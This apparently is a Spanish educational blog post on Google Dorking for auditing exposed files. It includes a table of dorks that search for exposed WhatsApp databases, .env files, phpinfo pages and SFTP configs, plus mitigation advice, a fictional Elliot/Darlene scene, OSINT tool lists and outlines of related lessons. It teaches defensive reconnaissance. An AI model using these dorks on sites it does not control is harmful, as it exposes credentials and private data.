`intitle:"index of" "WhatsAppDB.csv"`	Directorios con bases de datos de WhatsApp expuestas.
`filetype:env intext:APP_ENV`	Busca archivos .env con info sensible.
`inurl:"/phpinfo.php"`	Encuentra páginas phpinfo expuestas.
`intitle:"index of" intext:sftp-config.json`	Directorios con configuraciones SFTP.
A continuación se muestran algunos ejemplos comunes de Google Dorks; para obtener más ejemplos, consulte la Google Hacking Database:

Encontrar páginas de inicio de sesión:

site:example.com inurl:login
site:example.com (inurl:login OR inurl:admin)

Identificar de archivos expuestos:

site:example.com filetype:pdf
site:example.com (filetype:xls OR filetype:docx)

Descubrir archivos de configuración:

site:example.com inurl:config.php
site:example.com (ext:conf OR ext:cnf)(busca extensiones comúnmente utilizadas para archivos de configuración)

Localizar copias de seguridad de bases de datos:

site:example.com inurl:backup
site:example.com filetype:sql

Automatización: Google Dorking Helper

Podemos automatizar la generación de Google Dorks con herramientas cómo Google Dorking Helper, que nos permite arrastrar operadores para ir construyendo nuestro dork. Una vez que lo hemos generado podemos darle directamente a «Buscar en Google» para abrirlo en el navegador.

CASO DE USO: Detectando archivos expuestos en un dominio con Google Dorks

Imagina que quieres comprobar example.com (o cualquier dominio propio de prácticas) expone algún archivo de configuración, backups o bases de datos de forma accidental.

1. Entramos en GoogleDorks (la web recopilatoria)

Hay varias webs que recopilan dorks ya probados, como:

Exploit-DB Google Hacking Database (GHDB)
googledorks.com
publicdorks repos en GitHub

Las usan solo como referencia, nunca para atacar sistemas reales.

2. Elegimos un dork útil para auditoría

Por ejemplo, un clásico para detectar bases de datos expuestas:

site:example.com ext:sql

Este dork busca archivos .sql accesibles desde el navegador.

3. Lo probamos en Google

En un entorno de práctica (por ejemplo, un dominio controlado por el aula), lo que vemos es algo así:

/backup/database.sql
/db/export_2023.sql
/old/backup.sql

Si Google muestra entradas similares, quiere decir que los archivos son accesibles públicamente y están indexados. Eso convierte una simple curiosidad en un aviso rojo.

4. Interpretamos el resultado

Les explicas a los alumnos:

Si Google lo indexa, quiere decir que el servidor lo publica sin restricciones
Esto no es hacking activo; es lectura pública de lo que ya está expuesto.
Archivos .sql suelen contener tablas, usuarios, hashes de contraseña, etc.

Aquí entra tu guiño filosófico habitual: el buscador es como un telescopio enorme; si apuntas a una ventana con luz encendida, no estás entrando en la casa, solo ves lo que ellos dejaron abierto.

5. Propones medidas de mitigación

Esto les ayuda a cerrar el círculo mental del auditor:

Sacar carpetas de backup fuera del public_html o document root.
Configurar .htaccess o reglas en el servidor que impidan servir .sql, .env, .conf…
Quitar directorios listados (“Index of”).
Desactivar el autoindex en Apache/Nginx.
Aplicar permisos adecuados del sistema.

6. Otro ejemplo más avanzado desde GoogleDorks.com

En GoogleDorks encuentran típicamente entradas como:

intitle:"index of" /backup

Lo combinan con su dominio de pruebas:

site:example.com intitle:"index of" /backup

Resultado (en un entorno controlado):
Google podría mostrar un listado de backups accesibles.

Aquí se ve el poder del dork: localizar un error de configuración sin escaneo activo ni intrusiones.

CASO DE USO: “Ventanas Abiertas en la Red”

La pantalla parpadea. No estás hackeando nada. Solo observas. Lo que Google muestra es lo que ya estaba ahí, flotando en la superficie como un mensaje en una botella. Elliot lo explica con su serenidad afilada:

«El buscador es un espejo gigante. Refleja lo que los servidores enseñan sin darse cuenta. Si sabes dónde mirar, puedes encontrar más de lo que cualquier administrador admitiría».

Elliot abre una pestaña, teclea despacio, casi ritual:

site:example.com ext:sql

Darlene levanta una ceja. «¿Ya? ¿Así de simple?»

Él asiente. «El truco nunca es forzar la cerradura; es descubrir que la puerta estaba abierta desde siempre».

La búsqueda devuelve un par de enlaces inocentes: /backup/database.sql, /old/export_2022.sql. Como si fuera normal. Como si no contuvieran medio corazón de ese servidor, latido a latido.

Darlene sonríe, ese tipo de sonrisa que solo aparece cuando ve un fallo que podría haberse evitado con dos minutos de atención. «Archivos SQL, backups… Esto es como dejar el diario íntimo abierto en medio de la calle», murmura.

Elliot continúa:

«O mira este, es más evidente»:

intitle:"index of" /backup

La pantalla muestra un directorio listado. El índice, los archivos, las fechas. Casi puedes sentir la gravedad del error. Es información pública; Google solo la ha descubierto primero.

Elliot apoya los codos en la mesa.

«Esto es Google Dorking. Nada ilegal. Buscamos lo que ya está expuesto. Como revisar los candados de tu propia casa. Y si encuentras una ventana rota, la arreglas antes de que otro la vea».

Darlene mira al techo. «La gente piensa que la seguridad es un bunker. Pero casi siempre es una persiana mal echada».

Los dos siguen navegando entre dorks como quien pasea entre sombras familiares. No hay urgencia, solo una especie de calma lúcida: la fase previa a cualquier intrusión ética, el territorio gris donde la información pública se mezcla con la negligencia.

Elliot concluye, casi en un susurro:
«El buscador es el confidente más indiscreto de internet. Si le preguntas bien, te lo cuenta todo».

Buscadores alternativos y meta-buscadores

Cuando Google te cierra puertas, otros motores silenciosos dejan ventanas abiertas. No son magia negra; simplemente indexan distinto.

DuckDuckGo
– Respeta privacidad y deja ver cosas que Google a veces filtra.

Shodan
– El “Google del IoT”: cámaras, routers, PLCs, servidores expuestos.
– Ideal para investigación forense o ética.

Censys
– Similar a Shodan pero con enfoque más académico.
– Perfecto para investigaciones de superficie de ataque.

Bing + Yandex
– Indexan directorios de manera más permisiva en algunos casos.

Herramientas que automatizan Google Dorks (con cabeza)

No siempre quieres escribir cien consultas a mano. Estas herramientas generan, prueban y organizan dorks.

GHDB – Google Hacking Database (Exploit-DB)
– La biblia. Miles de dorks clasificados por categorías (login pages, archivos sensibles, cámaras…).
– La referencia imprescindible.

DorkSearch / DorkTester
– Pequeñas herramientas web para probar dorks rápidamente.
– Útiles para investigaciones rápidas sin automatizar demasiado.

Dork-Scanner (Python)
– Frameworks que lanzan series de dorks y analizan respuestas.
– Exigen ética e IP propia porque Google puede bloquearte.

Katana + Nuclei (ProjectDiscovery)
– No son dorks, pero se llevan muy bien con ellos.
– Puedes sacar URLs con Katana y luego comprobar hallazgos con Nuclei.

Extensiones de navegador

No subestimes las pequeñas utilidades de un clic.

Google Search Operators Helper
– Te rellena operadores avanzados.

Search Diggity (BishopFox)
– Conjunto de herramientas de OSINT con módulos de dorking seguro.
– Muy usado en auditorías.

Herramientas OSINT que complementan Google Dorks

Porque un dork es solo un portal: después debes investigar.

theHarvester
– Extrae correos, dominios, hosts desde motores de búsqueda.
– Combinación perfecta con filetype:xls, pdf, txt…

FOCA
– Analiza metadatos de documentos encontrados con dorks.
– Joyas ocultas en PDFs y Word.

SpiderFoot
– Rastrea información relacionada con dominios, subdominios y filtraciones.

Amass
– Recon de subdominios.
– Combinado con site: y inurl: puedes descubrir puertas laterales.

Herramientas forenses relacionadas

Cuando los dorks son parte de una investigación forense, estos compañeros hacen el resto:

Wayback Machine (Archive.org)
– Para ver versiones antiguas de páginas descubiertas con dorks.
– Oro puro cuando el contenido ha sido borrado.

Exiftool
– Para explorar metadatos de imágenes encontradas.

Binwalk
– Si encuentras firmware expuesto con un dork (sí, pasa), esta herramienta lo destripa.

Pequeño “arsenal” recomendado según objetivo

• Localizar archivos sensibles: Google + GHDB + FOCA
• Enumerar infraestructura: Google + Shodan + Amass
• Investigación forense: Google + Wayback + Exiftool
• Bug bounty: GHDB + Dork-scanner + Nuclei

noviembre 28, 2025

Categoría: Ciberseguridad

2.1.3 – [Reto] Cifrado Asimétrico con Clave Pública y Privada

Conceptos Fundamentales

Fundamento Matemático (Nivel Conceptual)

Algoritmos Asimétricos Principales

RSA

Diffie-Hellman

ECC (Elliptic Curve Cryptography)

Generación de Claves (Práctica)

Cifrado con Clave Pública

Firma Digital

Intercambio de Claves Seguro (Diffie-Hellman)

Criptografía Híbrida (Cómo funciona TLS)

Certificados Digitales

Ataques contra Criptografía Asimétrica

OWASP y Criptografía

Recomendaciones

Conexión con el Mundo Real

Comparativa — Clave Simétrica vs Clave Asimétrica

MISIÓN DE LA FLOTA ESTELAR

CANAL SEGURO — CRIPTOGRAFÍA ASIMÉTRICA + FIRMA + CERTIFICADOS (OpenSSL)

PARTE 1 — “IDENTIDAD CRIPTOGRÁFICA” (Par de claves)

FASE 1 — Crear carpeta de misión

FASE 2 — Generar clave privada del oficial Bob (2048 bits)

FASE 3 — Obtener la clave pública de Bob

PARTE 2 — “CIFRADO CON CLAVE PÚBLICA” (Confidencialidad)

FASE 4 — Crear mensaje secreto de Alice

FASE 5 — Cifrar para Bob usando su clave pública

FASE 6 — Descifrar con la clave privada de Bob

PARTE 3 — “FIRMA DIGITAL” (Integridad + Autoría)

FASE 7 — Alice firma un mensaje

FASE 8 — Crear el hash y firmarlo (firma con clave privada)

FASE 9 — Verificar la firma con la clave pública

FASE 10 — Simular sabotaje (modificación del mensaje)

PARTE 4 — “CERTIFICADOS” (Confianza en la clave pública)

FASE 11 — Crear la CA de la Flota Estelar

FASE 12 — Alice solicita un certificado (CSR)

FASE 13 — La CA firma el certificado de Alice

FASE 14 — Verificar que el certificado de Alice “cuelga” de la CA

PARTE 5 — “HÍBRIDO” (Cómo funciona Internet de verdad)

Mini-demostración conceptual (sin meternos aún en DH real)

INFORME FINAL (lo que tienes que entregar)

OPCIONALES (Modo “Cadete con rango”)

A) Ver handshake TLS real con Wireshark (si tienes tiempo)

B) Pasar a ECC

C) Forward secrecy (conceptual)

Reconocimiento de dominios por terminal y scripting

¿Qué es OSINT y por qué usar terminal?

1. AMASS – Descubrimiento de subdominios (OSINT real)

¿Qué es Amass?

Instalación en Ubuntu

Uso básico (modo pasivo)

Uso con salida a archivo

Enumeración con múltiples dominios

Advertencia ética

2. Subfinder – Enumeración rápida y minimalista

¿Qué es Subfinder?

Instalación en Ubuntu

Uso básico

Guardar resultados

Comparación mental con Amass

3. Geolocalización – Poniendo los pies en la Tierra

3.1 Geolocalización de IP con whois

3.2 Uso de geoiplookup

3.3 Geolocalización con APIs desde terminal

4. Uniendo piezas: OSINT como proceso

5. Ejemplo

¿Qué es HTTP?

1. HTTP desde la perspectiva del Análisis Forense

¿Por qué HTTP importa en un análisis forense?

2. Qué puede analizar un forense dentro del tráfico HTTP

Peticiones

Respuestas

Cuerpo (Body)

3. Indicadores forenses típicos en HTTP

SQL Injection

XSS

LFI/RFI

Attempts de fuerza bruta o escaneo

Exfiltración mediante HTTP

3.1 Geolocalización de IP con `whois`

3.2 Uso de `geoiplookup`